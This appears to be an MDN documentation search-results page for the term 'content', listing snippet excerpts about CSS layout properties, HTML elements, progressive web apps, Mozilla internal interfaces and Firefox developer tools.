content, or strict flex items grid items multicol containers elements with column-span set to all this is useful because a new bfc will behave much like the outermost document in that it becomes a mini-layout inside the main layout.
...the
content of that <div> has floated alongside the floated element.
...And 4 more matches
Consistent list indentation - CSS: Cascading Style Sheets
that dotted red border represents outer edges of the
content-area of the list item.
...according to the css box model, the list items' boxes must be displayed within the parent element's
content area.
... here, the dotted blue border shows us the edges of the <ul> element's
content area.
...And 4 more matches
Card - CSS: Cascading Style Sheets
requirements the card component can contain a variety of
content, including a heading, image,
content and a footer.
... recipe download this example choices made the card is laid out using css grid layout despite being a single dimensional layout, as it enables the use of
content sizing for the grid tracks.
... when setting up the single column grid i use the following: .card { display: grid; grid-template-rows: max-
content 200px 1fr; } the heading track is set to max-
content, which prevents it from stretching.
...And 4 more matches
contain - CSS: Cascading Style Sheets
the contain css property allows an author to indicate that an element and its
contents are, as much as possible, independent of the rest of the document tree.
... note: if applied (with value: paint, strict or
content), this property creates: a new containing block (for the descendants whose position property is absolute or fixed).
... syntax /* keyword values */ contain: none; contain: strict; contain:
content; contain: size; contain: layout; contain: style; contain: paint; /* multiple keywords */ contain: size paint; contain: size layout paint; /* global values */ contain: inherit; contain: initial; contain: unset; the contain property is specified as either one of the following: using a single none, strict, or
content keyword.
...And 4 more matches
<display-inside> - CSS: Cascading Style Sheets
these keywords specify the element’s inner display type, which defines the type of formatting context that lays out its
contents (assuming it is a non-replaced element).
... syntax valid <display-inside> values: flow the element lays out its
contents using flow layout (block-and-inline layout).
... depending on the value of other properties (such as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a new block formatting context (bfc) for its
contents or integrates its
contents into its parent formatting context.
...And 4 more matches
max-block-size - CSS: Cascading Style Sheets
this is useful because the max-width is always used for horizontal sizes and max-height is always used for vertical sizes, and if you need to set lengths based on the size of your text
content, you need to be able to do so with the writing direction in mind.
... any time you would normally use max-height or max-width, you should instead use max-block-size to set the maximum "height" of the
content (even though this may not be a vertical value) and max-inline-size to set the maximum "width" of the
content (although this may instead be vertical rather than horizontal).
... syntax /* <length> values */ max-block-size: 300px; max-block-size: 25em; /* <percentage> values */ max-block-size: 75%; /* keyword values */ max-block-size: auto; max-block-size: max-
content; max-block-size: min-
content; max-block-size: fit-
content(20em); /* global values */ max-block-size: inherit; max-block-size: initial; max-block-size: unset; values the max-block-size property's value can be any value that's legal for the max-width and max-height properties: <length> defines the max-width as an absolute value.
...And 4 more matches
min-height - CSS: Cascading Style Sheets
syntax /* <length> value */ min-height: 3.5em; /* <percentage> value */ min-height: 10%; /* keyword values */ min-height: max-
content; min-height: min-
content; min-height: fit-
content(20em); /* global values */ min-height: inherit; min-height: initial; min-height: unset; values <length> defines the min-height as an absolute value.
... max-
content the intrinsic preferred min-height.
... min-
content the intrinsic minimum min-height.
...And 4 more matches
object-fit - CSS: Cascading Style Sheets
the object-fit css property sets how the
content of a replaced element, such as an <img> or <video>, should be resized to fit its container.
... you can alter the alignment of the replaced element's
content object within the element's box using the object-position property.
... values contain the replaced
content is scaled to maintain its aspect ratio while fitting within the element’s
content box.
...And 4 more matches
Audio and Video Delivery - Developer guides
encrypted media extensions (eme) encrypted media extensions is a w3c proposal to extend htmlmediaelement, providing apis to control playback of protected
content.
...license/key exchange is controlled by the application, facilitating the development of robust playback applications supporting a range of
content decryption and protection technologies.
... one of the principle uses of eme is to allow browsers to implement drm (digital rights management), which helps to prevent web-based
content (especially video) from being copied.
...And 4 more matches
Block formatting context - Developer guides
elements with contain: layout,
content, or paint.
... examples contain internal floats make float
content and alongside
content the same height.
...the
content of that <div> has floated alongside the floated element.
...And 4 more matches
User input and controls - Developer guides
using features such as
contenteditable elements you can implement fast rich-text editors and with drag&drop let users moving elements inside your app.
... here is an example that allows a section of
content to be dragged.
...
contenteditable in open web apps any dom element can be made directly editable using the
contenteditable attribute.
...And 4 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, palpable
content permitted
content phrasing
content tag omission none, both the starting and ending tag are mandatory.
... permitted parents any element that accepts phrasing
content implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only supports the global attributes.
... each <abbr> element you use is independent from all others; providing a title for one does not automatically attach the same expansion text to others with the same
content text.
...And 4 more matches
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, embedded
content, palpable
content.
... permitted
content transparent but with no interactive
content descendants except for <a> elements, <button> elements, <input> elements whose type attribute is checkbox, radio, or button.
... permitted parents any element that accepts phrasing
content.
...And 4 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
content categories flow
content, and if the <dl> element's children include one name-value group, palpable
content.
... permitted
content either: zero or more groups each consisting of one or more <dt> elements followed by one or more <dd> elements, optionally intermixed with <script> and <template> elements.
... permitted parents any element that accepts flow
content.
...And 4 more matches
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
it takes few attributes, the most notable of which are form, which can contain the id of a <form> on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its
contents in one go.
...by default there is a 2px groove border surrounding the
contents, and a small amount of default padding.
... the element has min-inline-size: min-
content by default.
...And 4 more matches
<footer> - HTML: Hypertext Markup Language
the html <footer> element represents a footer for its nearest sectioning
content or sectioning root element.
...
content categories flow
content, palpable
content.
... permitted
content flow
content, but with no <footer> or <header> descendants.
...And 4 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
we had to put the icons on a <span> next to the input, not on the input itself, because in chrome the generated
content is placed inside the form control, and can't be styled or shown effectively.
... div { margin-bottom: 10px; display: flex; align-items: center; } label { display: inline-block; width: 300px; } input:invalid+span:after {
content: '✖'; padding-left: 5px; } input:valid+span:after {
content: '✓'; padding-left: 5px; } important: html form validation is not a substitute for scripts that ensure that the entered data is in the proper format.
... div { margin-bottom: 10px; } input:invalid + span { position: relative; } input:invalid + span:after {
content: '✖'; position: absolute; right: -18px; } input:valid + span { position: relative; } input:valid + span:after {
content: '✓'; position: absolute; right: -18px; } the best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the day, month, year, and time in separate controls (<select> elements being popular — see below for an imple...
...And 4 more matches
<input type="password"> - HTML: Hypertext Markup Language
ts change and input supported common attributes autocomplete, inputmode, maxlength, minlength, pattern, placeholder, readonly, required, and size idl attributes selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), and setselectionrange() value the value attribute contains a domstring whose value is the current
contents of the text editing control being used to enter the password.
... if the pattern attribute is specified, the
content of a password control is only considered valid if the value passes validation; see validation for more information.
...e maximum length the value may be, in utf-16 characters minlength the minimum length in characters that will be considered valid pattern a regular expression the value must match in order to be valid placeholder an example value to display in the field when the field is empty readonly a boolean attribute which, if present, indicates that the field's
contents should not be editable size the number of characters wide the input field should be maxlength the maximum number of characters (as utf-16 code units) the user can enter into the password field.
...And 4 more matches
<menu> - HTML: Hypertext Markup Language
content categories flow
content.
... if the element's children include at least one <li> element: palpable
content.
... permitted
content if the element is in the list menu state: flow
content, or alternatively, zero or more occurrences of <li>, <script>, and <template>.
...And 4 more matches
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
it is an empty element, meaning that it has no
content and does not have a closing tag.
... it is commonly used to offer the same media
content in multiple file formats in order to provide compatibility with a broad range of browsers given their differing support for image file formats and media file formats.
...
content categories none.
...And 4 more matches
<textarea> - HTML: Hypertext Markup Language
default
content entered between the opening and closing tags.
...for example, to give your textarea a different border depending on whether it is valid or invalid: textarea:invalid { border: 2px dashed red; } textarea:valid { border: 2px solid lime; } examples basic example the following example show a very simple textarea, with a set numbers of rows and columns and some default
content.
...have a play with both and you'll see the difference in behavior — the disabled element is not selectable in any way (and its value is not submitted), whereas the readonly element is selectable and its
contents copyable (and its value is submitted); you just can't edit the
contents.
...And 4 more matches
Global attributes - HTML: Hypertext Markup Language
for example, html5-compliant browsers hide
content marked as <foo hidden>...</foo>, even though <foo> is not a valid html element.
...
contenteditable an enumerated attribute indicating if the element should be editable by the user.
... dropzone an enumerated attribute indicating what types of
content can be dropped on an element, using the drag and drop api.
...And 4 more matches
Authoring MathML - MathML
html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other
content management systems to help writing web pages.
... using mathml mathml in html pages you can use presentation mathml inside html5 documents: <!doctype html> <html> <head> <title>mathml in html5</title> </head> <body> <h1>mathml in html5</h1> <p> square root of two: <math> <msqrt> <mn>2</mn> </msqrt> </math> </p> </body> </html>
content mathml is not supported by browsers.
... it's recommended to convert your
content mathml markup into presentation mathml before publishing it, for example with the help of the ctop.xsl stylesheet.
...And 4 more matches
Critical rendering path - Web Performance
with the dom and cssom complete, the browser builds the render tree, computing the styles for all the visible
content.
... css object model the dom contains all the
content of the page.
...css is render blocking because rules can be overwritten, so the
content can't be rendered until the cssom is complete.
...And 4 more matches
Privacy, permissions, and information security
cooperation among web
content, the web browser, and the web server is needed to achieve as much privacy and information security as possible.
... in this article, we examine how to create web
content that minimizes the risk of users' personal information or imagery being obtained unexpectedly by third parties.
... web technologies and features used to enforce security and privacy technology or feature description certificate transparency an open standard for monitoring and auditing certificates, creating a database of public logs that can be used to help identify incorrect or malicious certificates
content security policy provides the ability to define the extent to which a document's
content can be accessed by other devices over the web; used in particular to prevent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both for a document and for subdocuments loaded in <iframe>s ...
...And 4 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
previous overview: progressive next having the ability to cache the
contents of an app to work offline is a great feature.
...but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new
content whenever it is available.
...push is used to deliver new
content from the server to the app without any client-side intervention, and its operation is handled by the app's service worker.
...And 4 more matches
Media - Progressive web apps (PWAs)
many pages in this tutorial focused on the css properties and values, as well as how you use these to specify the way that
content displays.
... information: media the purpose of css is to specify how
content is presented to the user.
...css has the capacity to present
content according to the media type.
...And 4 more matches
Mobile first - Progressive web apps (PWAs)
therefore, as well as splitting
content into different views, and simplifying the interface and
content on each view of your application for mobile as much as possible, it is also a good idea to not include visual effects such as shadows, animations, and gradients.
...you need to consider this, and again make sure your
content/functionality is simple, legible and distraction-free as much as possible.
...the concept is the same regardless of the target device — you want to provide a mechanism for users to search for things and get to different views/pages of the application — but because mobile screens are so much smaller, a reasonable desktop navigation can spoil the experience by filling up most of the initial view of the app, covering up the
content.
...And 4 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
if the
content, layout, and functionality need to change greatly for different devices, it may not be such a good approach.
...he padding does not affect the overall width and height of the containers because we have set the box-sizing of all elements to border-box: *, *:before, *:after { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } this basically means that width and height will now set the dimensions of an element all the way up to and including the border, not just the
content.
... so if you set width: 40%, the box width will always be 40% of its parent, and any padding and border widths set on the box will be subtracted from the
content width, not added to it.
...And 4 more matches
alignment-baseline - SVG: Scalable Vector Graphics
before-edge the alignment-point of the object being aligned is aligned with the "before-edge" baseline of the parent text
content element.
... text-bottom matches the bottom of the box to the top of the parent’s
content area.
... text-before-edge the alignment-point of the object being aligned is aligned with the "text-before-edge" baseline of the parent text
content element.
...And 4 more matches
Introduction to using XPath in JavaScript - XPath
iterator example var iterator = document.evaluate('//phonenumber', documentnode, null, xpathresult.unordered_node_iterator_type, null ); try { var thisnode = iterator.iteratenext(); while (thisnode) { alert( thisnode.text
content ); thisnode = iterator.iteratenext(); } } catch (e) { alert( 'error: document tree modified during iteration ' + e ); } snapshots when the specified result type in the resulttype parameter is either: unordered_node_snapshot_type ordered_node_snapshot_type the xpathresult object returned is a static node-set of matched nodes, which allows us to access each node through the snapsh...
... snapshot example var nodessnapshot = document.evaluate('//phonenumber', documentnode, null, xpathresult.ordered_node_snapshot_type, null ); for ( var i=0 ; i < nodessnapshot.snapshotlength; i++ ) { alert( nodessnapshot.snapshotitem(i).text
content ); } first node when the specified result type in the resulttype parameter is either: any_unordered_node_type first_ordered_node_type the xpathresult object returned is only the first found node that matched the xpath expression.
... first node example var firstphonenumber = document.evaluate('//phonenumber', documentnode, null, xpathresult.first_ordered_node_type, null ); alert( 'the first phone number found is ' + firstphonenumber.singlenodevalue.text
content ); the any_type constant when the result type in the resulttype parameter is specified as any_type, the xpathresult object returned, will be whatever type that naturally results from the evaluation of the expression.
...And 4 more matches
Flexbox - Learn web development
the following simple layout requirements are either difficult or impossible to achieve with such tools, in any kind of convenient, flexible way: vertically centering a block of
content inside its parent.
... making all columns in a multiple column layout adopt the same height even if they contain a different amount of
content.
... now, add the following to the bottom of the example's css: div { display: flex; align-items: center; justify-
content: space-around; } refresh the page and you'll see that the buttons are now nicely centered, horizontally and vertically.
...And 3 more matches
Floats - Learn web development
any
content that comes below the floated element in the normal layout flow will now wrap around it, filling up the space to the right-hand side of it as far up as the top of the floated element.
... floating the
content to the right has exactly the same effect, but in reverse — the floated element will stick to the right, and the
content will wrap around it to the left.
...clearing the following element doesn't help with this box clearing problem, where you want the bottom of the box to wrap the floated item and wrapping
content even if the
content is shorter.
...And 3 more matches
Multiple-column layout - Learn web development
previous overview: css layout next the multiple-column layout specification gives you a method of laying
content out in columns, as you might see in a newspaper.
...in this case the
content breaks when the spanning element is introduced and continues below creating a new set of column boxes.
...cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </div> columns and fragmentation the
content of a multi-column layout is fragmented.
...And 3 more matches
How CSS is structured - Learn web development
for example, perhaps you're working with a
content management system where you are blocked from modifying external css files.
...second, inline css also mixes (css) presentational code with html and
content, making everything more difficult to read and understand.
... separating code and
content makes maintenance easier for all who work on the the website.
...And 3 more matches
Learn to style HTML using CSS - Learn web development
while html is used to define the structure and semantics of your
content, css is used to style it and lay it out.
... for example, you can use css to alter the font, color, size, and spacing of your
content, split it into multiple columns, or add animations and other decorative features.
... before starting this topic, you should also be familiar with using computers and using the web passively (i.e., just looking at it, consuming the
content).
...And 3 more matches
How much does it cost to do something on the Web? - Learn web development
you need to upload
content to a remote server (see hosting below), so you need a modem.
...this depends on how many people, and web crawling robots, access your
content during a given time, and how much server space your
content takes up.
...“packaged” hosting when you want to publish a website, you could do everything by yourself: set up a database (if needed),
content management system, or cms (like wordpress, dotclear, spip, etc.), upload pre-made or your own templates.
...And 3 more matches
How to build custom form controls - Learn web development
if the
content overflows, we display an ellipsis */ display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow: ellipsis; vertical-align: top; } we don't need an extra element to design the down arrow; instead, we're using the :after pseudo-element.
... .select:after {
content : "▼"; /* we use the unicode character u+25bc; make sure to set a charset meta tag */ position: absolute; z-index : 1; /* this will be important to keep the arrow from overlapping the list of options */ top : 0; right : 0; box-sizing : border-box; height : 100%; width : 2em; padding-top : .1em; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; text-align : center; } next, let's style the list of options: .select .optlist { z-index : 2; /* we explicitly said the list of options will always be on top of the down arrow */ /* this will reset the default style of the ul element */ list-style: n...
...one; margin : 0; padding: 0; box-sizing : border-box; /* if the values are smaller than the control, the list of options will be as wide as the control itself */ min-width : 100%; /* in case the list is too long, its
content will overflow vertically (which will add a vertical scrollbar automatically) but never horizontally (because we haven't set a width, the list will adjust its width automatically.
...And 3 more matches
Styling web forms - Learn web development
to make your forms' appearance consistent with the rest of your
content, you can add the following rules to your stylesheet: button, input, select, textarea { font-family: inherit; font-size: 100%; } the inherit property value causes the property value to match the computed value of the property of its parent element; inheriting the value of the parent.
... there's a lot of debate as to whether forms look better using the system default styles, or customized styles designed to match your
content.
...it's up to you to define how you wish to blend them into your
content.
...And 3 more matches
Introduction to HTML - Learn web development
three columns of
content?
... a navigation menu?), and embed
content such as images and videos into a page.
... get started prerequisites before starting this module, you don't need any previous html knowledge, but you should have at least basic familiarity with using computers and using the web passively (i.e., just looking at it and consuming
content).
...And 3 more matches
HTML table advanced features and accessibility - Learn web development
</table> as you can infer from the brief example above, the caption is meant to contain a description of the table
contents.
...rather than have a screenreader read out the
contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail.
...to give you some interesting examples, in the case of a long table you could make the table header and footer repeat on every printed page, and you could make the table body display on a single page and have the
contents available by scrolling up and down.
...And 3 more matches
Drawing graphics - Learn web development
inside the canvas tags, you can put some fallback
content, which is shown if the user's browser doesn't support canvas.
...in a real example you'd want to relate the fallback
content to the canvas
content.
... for example, if you were rendering a constantly updating graph of stock prices, the fallback
content could be a static image of the latest stock graph, with alt text saying what the prices are in text.
...And 3 more matches
Arrays - Learn web development
150px;"> <ul> </ul> <p></p> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="playable-code" style="height: 410px;width: 95%"> const list = document.queryselector('.output ul'); const totalbox = document.queryselector('.output p'); let total = 0; list.innerhtml = ''; totalbox.text
content = ''; // number 1 'underpants:6.99' 'socks:5.99' 't-shirt:14.99' 'trousers:31.99' 'shoes:23.99'; for (let i = 0; i <= 0; i++) { // number 2 // number 3 // number 4 // number 5 let itemtext = 0; const listitem = document.createelement('li'); listitem.text
content = itemtext; list.appendchild(listitem);...
... } totalbox.text
content = 'total: $' + total.tofixed(2); </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; soluti...
...on.value = 'hide solution'; } else { textarea.value = userentry; solution.value = 'show solution'; } updatecode(); }); const jssolution = 'const list = document.queryselector(\'.output ul\');\nconst totalbox = document.queryselector(\'.output p\');\nlet total = 0;\nlist.innerhtml = \'\';\ntotalbox.text
content = \'\';\n\nlet products = [\'underpants:6.99\',\n \'socks:5.99\',\n \'t-shirt:14.99\',\n \'trousers:31.99\',\n \'shoes:23.99\'];\n\nfor(let i = 0; i < products.length; i++) {\n let subarray = products[i].split(\':\');\n let name = subarray[0];\n let price = number(subarray[1]);\n total += price;\n let itemtext = name + \' — $\' + price;\n\n let listitem = document.createelement(\'li\');\n listitem.text
content = itemtext;\n list.appendchild(listitem);\n}\n\ntotalb...
...And 3 more matches
Useful string methods - Learn web development
christmas to all the family', 'you\'re all i want for christmas', 'get well soon']; for (let i = 0; i < greetings.length; i++) { let input = greetings[i]; // your conditional test needs to go inside the parentheses // in the line below, replacing what's currently there if (greetings[i]) { let listitem = document.createelement('li'); listitem.text
content = input; list.appendchild(listitem); } } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5...
...py christmas to all the family\',' + '\n \'you\\\'re all i want for christmas\',' + '\n \'get well soon\'];' + '\n' + '\nfor (let i = 0; i < greetings.length; i++) {' + '\n let input = greetings[i];' + '\n if (greetings[i].indexof(\'christmas\') !== -1) {' + '\n let result = input;' + '\n let listitem = document.createelement(\'li\');' + '\n listitem.text
content = result;' + '\n list.appendchild(listitem);' + '\n }' + '\n}'; let solutionentry = jssolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'...
...area id="code" class="playable-code" style="height: 250px; width: 95%"> const list = document.queryselector('.output ul'); list.innerhtml = ''; let cities = ['london', 'manchester', 'birmingham', 'liverpool']; for (let i = 0; i < cities.length; i++) { let input = cities[i]; // write your code just below here let result = input; let listitem = document.createelement('li'); listitem.text
content = result; list.appendchild(listitem); } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa;...
...And 3 more matches
Web performance - Learn web development
part of good user experience is ensuring the
content is quick to load and responsive to user interaction.
...this article introduces the components of performance, from web page loading and rendering, including how your
content makes it into your users browser to be viewed, to what groups of people we need to consider when thinking about performance, how do users perceive performance?
...in this article we discuss the impact video
content has on performance, and cover tips like removing audio tracks from background videos can improve performance.
...And 3 more matches
Adding a new event
contentevents.h this header file should be used for defining internal event classes which are dispatched in
content and do not represent user action.
... textevents.h this header file should be used for defining input events from keyboard or ime and also other text edit related events like querying focused
content information.
...this method is basically used for duplicating an internal event class instance of a dom event when the dom event is stored by
content.
...And 3 more matches
HTML parser threading
references to dom nodes in tree ops are of type nsi
content** and are called
content handles.
...the tree builder never dereferences a
content handle.
... in fact, a
content handle won't have an actual node behind it initially.
...And 3 more matches
Web Localizability
localizability (or l12y for short) is a characteristic found in an application or
content that enables localization.
... the following list contains links to pages that highlight steps that can be taken to make web
content localizable.
... the documentation is divided into 4 parts: how to create localizable
content.
...And 3 more matches
Mozilla DOM Hacking Guide
needless to say this is critical for the use of the dom in real-world
content.
...two other getclassinfoinstance member functions are defined in mozilla, as member of class ns
contentutils and class nsdomsofactory.
...getclassinfoinstance is used in the ns_interface_map_entry_
content_classinfo macro, which is used to implement queryinterface for the nsiclassinfo interface in most of the dom classes, and in the ns_dom_interface_map_entry_classinfo macro, which is used to implement queryinterface for the nsiclassinfo interface in most global object properties.
...And 3 more matches
Mozilla Style System Documentation
the css specification describes formatting objects that correspond to elements in the
content model and formatting objects that correspond to pseudo-elements.
... style contexts and the rule tree when the style system creates a style context, it walks through the style sheets (interface nsistylesheet) attached to a document in the order defined by the css cascade and finds the style rules (interface nsistylerule) thatmatch the
content node or
content node + pseudo-element pair.
...in mozilla, nscssdeclaration objects correspond to css declaration-blocks.) due to the high similarity of these lists between elements in the
content tree, mozilla stores the output of the selector matching process in a lexicographic tree, the rule tree.
...And 3 more matches
GC and CC logs
this logs the
contents of the javascript heap to a file named gc-edges-nnnn.log.
...(the gc log will be the same size in either case.) with multiprocess firefox, you can't record logs from the
content process, due to sandboxing.
... you'll need to disable sandboxing by setting moz_disable_
content_sandbox=t when you run firefox.
...And 3 more matches
NSS Certificate Download Specification
the
contents of the version, digestalgorithms,
contentinfo, crls, and signerinfos fields are ignored.
...it consists of a pkcs#7
contentinfo structure, wrapping a sequence of certificates.
... the
contenttype field oid must be netscape-cert-sequence (see object identifiers).
...And 3 more matches
S/MIME functions
function name/documentation source code nss versions nss_cms
contentinfo_getbulkkey mxr 3.2 and later nss_cms
contentinfo_getbulkkeysize mxr 3.2 and later nss_cms
contentinfo_get
content mxr 3.2 and later nss_cms
contentinfo_get
contentencalgtag mxr 3.2 and later nss_cms
contentinfo_get
contenttypetag mxr 3.2 and later nss_cms
content...
...info_setbulkkey mxr 3.2 and later nss_cms
contentinfo_set
content mxr 3.2 and later nss_cms
contentinfo_set
content_data mxr 3.2 and later nss_cms
contentinfo_set
contentencalg mxr 3.2 and later nss_cms
contentinfo_set
content_digesteddata mxr 3.2 and later nss_cms
contentinfo_set
content_encrypteddata mxr 3.2 and later nss_cms
contentinfo_set
content_envelopeddata mxr 3.2 and later nss_cms
contentinfo_set
content_signeddata mxr 3.2 and later nss_cmsdecoder_cancel mxr 3.2 and later nss_cmsdecoder_finish mxr 3.2 and later nss_cmsdecoder...
...cmsdigestcontext_startmultiple mxr 3.2 and later nss_cmsdigestcontext_startsingle mxr 3.2 and later nss_cmsdigestcontext_update mxr 3.2 and later nss_cmsdigesteddata_create mxr 3.2 and later nss_cmsdigesteddata_destroy mxr 3.2 and later nss_cmsdigesteddata_get
contentinfo mxr 3.2 and later nss_cmsderencode mxr 3.2 and later nss_cmsencoder_cancel mxr 3.2 and later nss_cmsencoder_finish mxr 3.2 and later nss_cmsencoder_start mxr 3.2 and later nss_cmsencoder_update mxr 3.2 and later nss_cmsencrypte...
...And 3 more matches
nsIDOMWindow
thod overview nsidomcssstyledeclaration getcomputedstyle(in nsidomelement elt, [optional] in domstring pseudoelt); nsiselection getselection(); void scrollby(in long xscrolldif, in long yscrolldif); void scrollbylines(in long numlines); void scrollbypages(in long numpages); void scrollto(in long xscroll, in long yscroll); void sizeto
content(); attributes attribute type description applicationcache nsidomofflineresourcelist get the application cache object for this window.
...the window hierarchy does not cross chrome-
content boundaries.
...the window hierarchy does not cross chrome-
content boundaries.
...And 3 more matches
nsIFocusManager
.9.2 inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) implemented by: @mozilla.org/focus-manager;1 as a service: var focusmanager = components.classes["@mozilla.org/focus-manager;1"] .getservice(components.interfaces.nsifocusmanager); method overview void clearfocus(in nsidomwindow awindow); void
contentremoved(in nsidocument adocument, in nsi
content aelement); native code only!
... void focusplugin(in nsi
content aplugin); native code only!
... native code only!
contentremoved obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete.
...And 3 more matches
nsIWebBrowser
the interface may also be used at runtime to obtain the
content dom window and from that the rest of the dom.
...
contentdomwindow nsidomwindow the top-level dom window.
... parenturi
contentlistener nsiuri
contentlistener uri
content listener parent.
...And 3 more matches
nsIXULTemplateQueryProcessor
content/xul/templates/public/nsixultemplatequeryprocessor.idlscriptable a query processor takes a template query and generates results for it given a datasource and a reference point.
...a template query is the
contents inside a <query> element within the template.
...this is the responsibility of the query processor if it needs to load the
content of the uri.
...And 3 more matches
nsIXULWindow
void assumechromeflagsarefrozen(); void center(in nsixulwindow arelative, in boolean ascreen, in boolean aalert); nsixulwindow createnewwindow(in print32 achromeflags, in nsiappshell aappshell); nsidocshelltreeitem get
contentshellbyid(in wstring id); void removechildwindow(in nsixulwindow achild); void showmodal(); attributes attribute type description chromeflags pruint32 chromeflags are from nsiwebbrowserchrome.
... primary
contentshell nsidocshelltreeitem the primary
content shell.
...in the case of a
content window, the function creates a browser window and waits for it to load.
...And 3 more matches
XPCOM Interface Reference by grouping
(i'm fully aware that this will be a great point of discussion and probably will end in tears, but since i'm the first person to apparently take a swing at this, i get first dibs.) the primary sections consist of: browser this section contains elements associated with the view pane or the
content of the "browser window" proper.
...mxpathexpression nsidomxpathresult xslt nsixsltexception nsixsltprocessor download nsidownload nsidownloadmanager nsidownloadprogresslistener element internal nsiworker nsiworkerglobalscope nsiworkermessageevent nsiworkermessageport nsiworkerscope tree nsitreeboxobject nsitreecolumn nsitreecolumns nsitree
contentview nsitreeselection nsitreeview xform nsixformsmodelelement nsixformsnsinstanceelement nsixformsnsmodelelement xmlhttprequest nsixmlhttprequesteventtarget favicon nsifavicondatacallback nsifaviconservice frame nsichromeframemessagemanager nsiframeloader nsiframeloaderowner nsiframemessagelistener nsiframemessagem...
...ter nsisupportsprbool nsisupportsprimitive nsisupportsprint16 nsisupportsprint32 nsisupportsprint64 nsisupportspriority nsisupportsprtime nsisupportspruint16 nsisupportspruint32 nsisupportspruint64 nsisupportspruint8 nsisupportsstring nsisupportsvoid nsisupportsweakreference nsivariant do not use nsienumerator nsiinprocess
contentframemessagemanager nsiscriptableio nsixpcscriptable future nsixmlhttprequestupload obsolete nsixmlrpcclient nsixmlrpcfault security auth nsiauthmodule nsiauthprompt nsiauthpromptprovider nsiauthpromptwrapper nsiasyncverifyredirectcallback
content nsi
contentpolicy ...
...And 3 more matches
The JavaScript input interpreter - Firefox Developer Tools
you can open files when in multi-line mode, and save the current
contents of the editing pane to a file.
... to save the
contents of the editing pane, press ctrl+s (cmd+s on macos).
...there are three ways to select an iframe using cd(): you can pass the iframe dom element: var frame = document.getelementbyid("frame1"); cd(frame); you can pass a css selector that matches the iframe: cd("#frame1"); you can pass the iframe's global window object: var frame = document.getelementbyid("frame1"); cd(frame.
contentwindow); to switch the context back to the top-level window, call cd() with no arguments: cd(); for example, suppose we have a document that embeds an iframe: <!doctype html> <html> <head> <meta charset="utf-8"> </head> <body> <iframe id="frame1" src="static/frame/my-frame1.html"></iframe> </body> </html> the iframe defines a new function: <!doctype html> <html> <head> ...
...And 3 more matches
Web Console remoting - Firefox Developer Tools
the pageerror packet is: { "from": "conn0.console9", "type": "pageerror", "pageerror": { "errormessage": "referenceerror: foo is not defined", "sourcename": "http://localhost/~mihai/mozilla/test.js", "linetext": "", "linenumber": 6, "columnnumber": 0, "category": "
content javascript", "timestamp": 1347294508210, "error": false, "warning": false, "exception": true, "strict": false, "private": false, } } the packet is similar to nsiscripterror - for simplicity.
... helperresult is anything that might come from a jsterm helper result, json stuff (not
content objects!).
...", "updatetype": "eventtimings", "totaltime": 1 }, { "from": "conn0.netevent14", "type": "networkeventupdate", "updatetype": "responseheaders", "headers": 6, "headerssize": 194 }, { "from": "conn0.netevent14", "type": "networkeventupdate", "updatetype": "responsecookies", "cookies": 0 }, { "from": "conn0.netevent14", "type": "networkeventupdate", "updatetype": "response
content", "mimetype": "text/css", "
contentsize": 0, "discardresponsebody": true } actual headers, cookies, and bodies are not sent.
...And 3 more matches
CanvasRenderingContext2D.drawWindow() - Web APIs
the
contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.
... this api cannot be used by web
content.
... example this method draws a snapshot of the
contents of a dom window into the canvas.
...And 3 more matches
Document.execCommand() - Web APIs
when an html document has been switched to designmode, its document object exposes an execcommand method to run commands that manipulate the current editable region, such as form inputs or
contenteditable elements.
...when using
contenteditable, execcommand() affects the currently active editable element.
...
contentreadonly makes the
content document either read-only or editable.
...And 3 more matches
